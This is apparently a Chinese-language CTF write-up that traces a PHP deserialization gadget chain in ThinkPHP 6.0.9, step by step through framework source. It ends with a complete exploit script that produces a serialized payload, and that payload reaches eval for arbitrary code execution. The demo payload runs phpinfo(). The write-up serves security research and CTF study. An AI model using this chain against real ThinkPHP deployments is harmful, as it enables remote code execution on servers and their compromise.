前言
前几天打西湖杯的时候有个ThinkPHP v6.0.9 的题目,无法写文件,找到这篇文章利用eval执行php,所以跟一下,我跟的版本为6.0.9
参考:ThinkPHP v6.0.7 eval反序列化利用链
6.0.12存在利用
利用条件
存在一个反序列点
demo : app/controller/Index.php
<?php namespace app\controller;
use app\BaseController;
class Index extends BaseController { public function index() { highlight_file(__FILE__); unserialize($_GET['unser']); } }
|
分析
全局搜索__destruct函数
在抽象类 Model
类 (vendor/topthink/think-orm/src/Model.php)
存在一个 __destuct
魔法方法。

进入save() 需要让 lazySave = true
private $lazySave = false;
|
跟进save()方法
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
|
这里需要绕过if语句,即 $this->isEmpty()
为 false $this->trigger('BeforeWrite')
为 true
跟进isEmpty()
和 trigger()
public function isEmpty(): bool { return empty($this->data); }
protected function trigger(string $event): bool { if (!$this->withEvent) { return true; }
|
那也就是$this->data 要求不为 null
,且 $this->withEvent == false
接着进行下一步:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
发现 $this->exists默认false
那么跟进 $this->insertData($sequence)
,默认 $sequence = null
protected function insertData(string $sequence = null): bool { if (false === $this->trigger('BeforeInsert')) { return false; }
$this->checkData(); $data = $this->data;
if ($this->autoWriteTimestamp) {
}
$allowFields = $this->checkAllowFields();
$db = $this->db();
$db->transaction(function () use ($data, $sequence, $allowFields, $db) { $result = $db->strict(false) ->field($allowFields) ->replace($this->replace) ->sequence($sequence) ->insert($data, true);
if ($result) { $pk = $this->getPk();
if (is_string($pk) && (!isset($this->data[$pk]) || '' == $this->data[$pk])) { unset($this->get[$pk]); $this->data[$pk] = $result; } }
if (!empty($this->relationWrite)) { $this->autoRelationInsert(); } });
$this->exists = true; $this->origin = $this->data;
$this->trigger('AfterInsert');
return true; }
|
上面 $this->trigger(‘BeforeInsert’) 为true 所以下一步
跟进 $this->checkData()
为空操作跳过,进入if判断
$this->autoWriteTimestamp
未定义所以跳出if,此时进行 $this->checkAllowFields()
跟进
protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
}
|
其中 $this->field
和 $this->schema
的默认值都为 []
,因而可以直接来到 else{
。
那么,继续跟进 $this->db
public function db($scope = []): Query { $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk);
if (!empty($this->table)) { $query->table($this->table . $this->suffix);
}
}
|
第一句 $query = ...
可以直接跳过
而在 $query->table($this->table . $this->suffix)
有字符拼接。这样只需要让 $this->table (未定义)
或 $this->suffix
为一个 类
就可以触发那个 类 的 __toString
魔法方法。
那么目前需要修改的参数为
- $this->lazySave = true
- $this->data = [7]
- $this->withEvent = false
- $this->table = 存在toString的一个类
魔术方法跳板
接下来找含有 __toString
方法的类
这里选择:
\tp6.0.9\vendor\topthink\framework\src\think\route\Url.php
class Url public function __toString() { return $this->build(); }
|
跟进build()方法
public function build() { $url = $this->url; $suffix = $this->suffix; $domain = $this->domain; $request = $this->app->request; $vars = $this->vars;
if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { $name = substr($url, 1, $pos - 1); $url = 'name' . substr($url, $pos + 1); }
if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { $info = parse_url($url); $url = !empty($info['path']) ? $info['path'] : '';
if (isset($info['fragment'])) { $anchor = $info['fragment'];
if (false !== strpos($anchor, '?')) { [$anchor, $info['query']] = explode('?', $anchor, 2); }
if (false !== strpos($anchor, '@')) { [$anchor, $domain] = explode('@', $anchor, 2); } } elseif (strpos($url, '@') && false === strpos($url, '\\')) { [$url, $domain] = explode('@', $url, 2); } }
if ($url) {
$rule = $this->route->getName($checkName, $checkDomain);
}
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { $url = $match[0];
if ($domain && !empty($match[1])) { $domain = $match[1]; }
if (!is_null($match[2])) { $suffix = $match[2]; } } elseif (!empty($rule) && isset($name)) { throw new \InvalidArgumentException('route name not exists:' . $name); } else { $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
}
}
|
我们先让让 $this->url
构造成 a:
,此时 $url 的值也就为 ''
,后边的各种条件也不会成立,可以直接跳过 。
这里解释一下为什么$this->url 需要加 ':'
不加 ':'
时 parse_url 将参数解析为$info[path]
这样一来就不满足 $url
为空的条件

进入if($url)
这里因为 $url = ''
所以跳过进入
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain))
elseif (!empty($rule) && isset($name))
|
但是因为$rule
是在if($url)进行赋值,所以条件不成路 直接跳过进入else分支
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
|
仔细看这行代码 $this->route
可控 $domain
由 $this->domain
也是可控
那么就得到 [可控类] -> getDomainBind([可控字符串]) 的调用形式,所以可以调用 __call
方法
综上 目前需要的条件是:
- $this->url = ‘a:’
- $this->app = 给个public的request属性的任意类
这里 $this->app
通过看师傅的exp new了一个Url

因为后续跳板是Validate
,看Url类的 __construct()方法

build()方法中也要求有request属性

所以这里的 app给一个request即可
接着往下
然后全局搜索 __call
魔法方法,在 Validate
类 (vendor/topthink/framework/src/think/Validate.php)
中
public function __call($method, $args) { if ('is' == strtolower(substr($method, 0, 2))) { $method = substr($method, 2); }
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args); }
|
这里的 call_user_func_array($this->is([$domain,'getDomainBind']))
,其中 $domain 是可控的
跟进 is
方法
public function is($value, string $rule, array $data = []): bool // $value = $domain $rule = getDomainBind { switch (Str::camel($rule)) { case 'require':
default: if (isset($this->type[$rule])) { $result = call_user_func_array($this->type[$rule], [$value]); }
}
return $result; }
|
$value 即为 $domain
,$rule 变量的值即为 getDomainBind
接着进行 Str::camel($rule)
public static function studly(string $value): string { $key = $value; if (isset(static::$studlyCache[$key])) { return static::$studlyCache[$key]; } $value = ucwords(str_replace(['-', '_'], ' ', $value)); return static::$studlyCache[$key] = str_replace(' ', '', $value); }
public static function camel(string $value): string { if (isset(static::$camelCache[$value])) { return static::$camelCache[$value]; } return static::$camelCache[$value] = lcfirst(static::studly($value)); }
|
返回值为 getDomainBind
具体分析:
跟进 $this->is 方法, $rule 变量的值即为 getDomainBind, Str::camel($rule)
的意思实际上是将 $rule = ‘getDomainBind’ 的 - 和 _ 替换成 ‘’ , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind']
中,然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind']
,即返回值为 getDomainBind 。
此时进入default分支 进入第一个if语句,这样就得到了
$result = call_user_func_array($this->type[$rule], [$value]);
即:call_user_func_array($this->type['getDomainBind'], [$value])
|
二者都可控
$this->type[$rule]是函数名
,$value是函数的参数
所以我们可以传入单个参数的函数调用
我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php)
中,这里存在一个调用 eval 的且可传 单参数
的方法 display
public function display(string $content, array $data = []): void { $this->content = $content;
extract($data, EXTR_OVERWRITE); eval('?>' . $this->content); }
|
根据上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>'])
即可执行 eval 了。
- 即$this->type = [“getDomainBind” => [php类,”display”]]
由于入口处Model是一个抽象类,所以要从继承Model的类来进行实现
这里从Pivot
类 (vendor/topthink/tink-orm/src/model/Pivot.php)
至此分析结束
大概流程



exp
<?php namespace think\model\concern{ trait Attribute{ private $data = [7]; } }
namespace think\view\driver{ class Php{} }
namespace think{ abstract class Model{ use model\concern\Attribute; private $lazySave; protected $withEvent; protected $table; function __construct($cmd){ $this->lazySave = true; $this->withEvent = false; $this->table = new route\Url(new Middleware,new Validate,$cmd); } } class Middleware{ public $request = 2333; } class Validate{ protected $type; function __construct(){ $this->type = [ "getDomainBind" => [new view\driver\Php,'display'] ]; } } }
namespace think\model{ use think\Model; class Pivot extends Model{} }
namespace think\route{ class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct($app,$route,$cmd){ $this->domain = $cmd; $this->app = $app; $this->route = $route; } } }
namespace{ echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>'))); }
|